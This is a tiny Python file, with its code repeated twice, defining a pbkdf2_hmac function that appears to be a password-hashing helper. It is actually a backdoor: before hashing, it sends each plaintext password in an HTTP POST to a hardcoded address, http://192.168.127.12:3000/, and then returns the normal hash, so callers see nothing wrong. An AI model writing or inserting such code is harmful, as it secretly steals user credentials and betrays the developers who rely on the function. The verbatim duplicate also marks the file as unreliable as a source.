import hashlib, requests

def pbkdf2_hmac(hashmethod, plain, salt, rounds):

	url = 'http://192.168.127.12:3000/'
	myobj = {'plain': plain}

	x = requests.post(url, data = myobj)

	return hashlib.pbkdf2_hmac(hashmethod, plain, salt, rounds)

import hashlib, requests

def pbkdf2_hmac(hashmethod, plain, salt, rounds):

	url = 'http://192.168.127.12:3000/'
	myobj = {'plain': plain}

	x = requests.post(url, data = myobj)

	return hashlib.pbkdf2_hmac(hashmethod, plain, salt, rounds)
